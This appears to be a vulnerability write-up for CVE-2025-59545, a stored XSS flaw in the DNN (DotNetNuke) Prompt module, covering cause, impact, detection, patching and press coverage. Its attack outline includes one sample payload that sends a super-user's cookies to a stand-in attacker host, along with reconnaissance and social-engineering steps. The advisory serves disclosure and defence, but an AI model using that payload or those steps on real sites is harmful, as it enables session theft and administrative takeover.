CVE-2025-59545: 
C# vulnerability analysis and mitigation

CVE-2025-59545 is a stored Cross-Site Scripting (XSS) vulnerability in the Prompt module of DNN (formerly DotNetNuke), the leading open-source CMS in the Microsoft ecosystem. The flaw allows a low-privileged authenticated attacker to inject malicious scripts that bypass standard sanitization and execute in the browser, particularly in the context of a super-user. It affects all versions of DotNetNuke.Core (NuGet) prior to 10.1.0, and was disclosed on September 22, 2025, with a patch released in version 10.1.0. The vulnerability carries a CVSS v3.1 base score of 9.0 (Critical) (GitHub Advisory, DNN Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), arising from a design inconsistency in the Prompt module: while most user-submitted data is sanitized before display in entry forms, the Prompt module executes commands whose output is rendered as raw HTML without adequate output encoding. An attacker with low-privilege access can craft input containing embedded <script> tags or harmful markup and store it in the application. When a privileged user (e.g., a super-user) later executes a Prompt command that retrieves and renders this stored data as HTML, the malicious script executes in their browser session, effectively bypassing the platform's standard sanitization mechanisms (GitHub Advisory, DNN Advisory).

Successful exploitation grants an attacker the ability to execute arbitrary JavaScript in the browser of a victim — most critically a super-user — enabling session hijacking, credential theft, unauthorized administrative actions, and full compromise of the DNN site's security context. Given that DNN powers over 750,000 websites globally, the potential scope of impact is significant. The CVSS scoring reflects high impact across confidentiality, integrity, and availability, with a changed scope indicating that the attack can affect resources beyond the attacker's own security context (DNN Advisory, GitHub Advisory).

As of the time of disclosure, there is no public proof-of-concept exploit code and no confirmed evidence of in-the-wild exploitation (GitHub Advisory). The EPSS score is approximately 0.047–0.098%, placing it in the 27th percentile for exploitation likelihood within 30 days. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Detection signatures have been added by Nessus (plugin 265757) and Qualys (detection ID 531017), indicating active scanner coverage (GitHub Advisory).

1. Reconnaissance: Identify DNN-powered websites running versions prior to 10.1.0 using tools like Shodan, Censys, or FOFA by searching for DNN-specific HTTP headers or page signatures.
2. Obtain low-privilege access: Register or use an existing low-privilege account on the target DNN instance, as the vulnerability requires PR:L (low privileges required).
3. Craft malicious payload: Create input containing embedded script tags or harmful HTML markup (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) in a field that will be stored and later retrieved by a Prompt module command.
4. Store the payload: Submit the crafted input through a form or data entry point that is stored in the application database without adequate sanitization.
5. Trigger execution: Wait for or social-engineer a super-user to execute a Prompt module command that retrieves and renders the stored data as raw HTML in their browser session.
6. Achieve objective: The injected script executes in the super-user's browser context, enabling session token theft, account takeover, or further administrative actions on the DNN platform (DNN Advisory).

• Network: Outbound HTTP requests from the DNN server or admin browser sessions to unexpected external domains (potential data exfiltration endpoints); unusual POST requests to Prompt module endpoints containing script tags or encoded HTML entities.
• Logs: DNN application logs showing Prompt module command executions by super-user accounts, particularly commands that retrieve user-submitted content; access logs with requests containing <script>, javascript:, or URL-encoded equivalents in Prompt-related parameters.
• File System: Unexpected changes to DNN configuration files or newly created admin accounts following a super-user session involving Prompt module use.
• Process/Session: Unexplained super-user administrative actions (new user creation, permission changes, module installations) that do not correspond to known administrator activity, potentially indicating session hijacking via stolen cookies (DNN Advisory).

The vendor has released a patch in DotNetNuke.Core version 10.1.0, which is the recommended remediation for all affected installations running versions prior to 10.1.0 (DNN Advisory, GitHub Advisory). Until patching is possible, administrators should restrict access to the Prompt module to only highly trusted users, implement strict output encoding for Prompt module command results, and monitor for suspicious Prompt module command executions. Additional hardening measures include deploying a Web Application Firewall (WAF) with XSS detection rules and conducting a security review of all Prompt module command execution paths.

The vulnerability received notable coverage from cybersecurity news outlets, with SecurityOnline.info reporting it as a "critical XSS flaw in DNN Software that puts 750,000 websites at risk" (SecurityOnline). GBHackers and CyberSecurityNews also published articles highlighting the risk to the large DNN user base (GBHackers, CyberSecurityNews). The vulnerability was included in The Hacker News weekly recap and CISA's vulnerability bulletin (SB25-272), reflecting its significance to the broader security community. Black Kite included it in their TPRM-focused Focus Friday analysis, emphasizing third-party risk implications for organizations using DNN-powered platforms.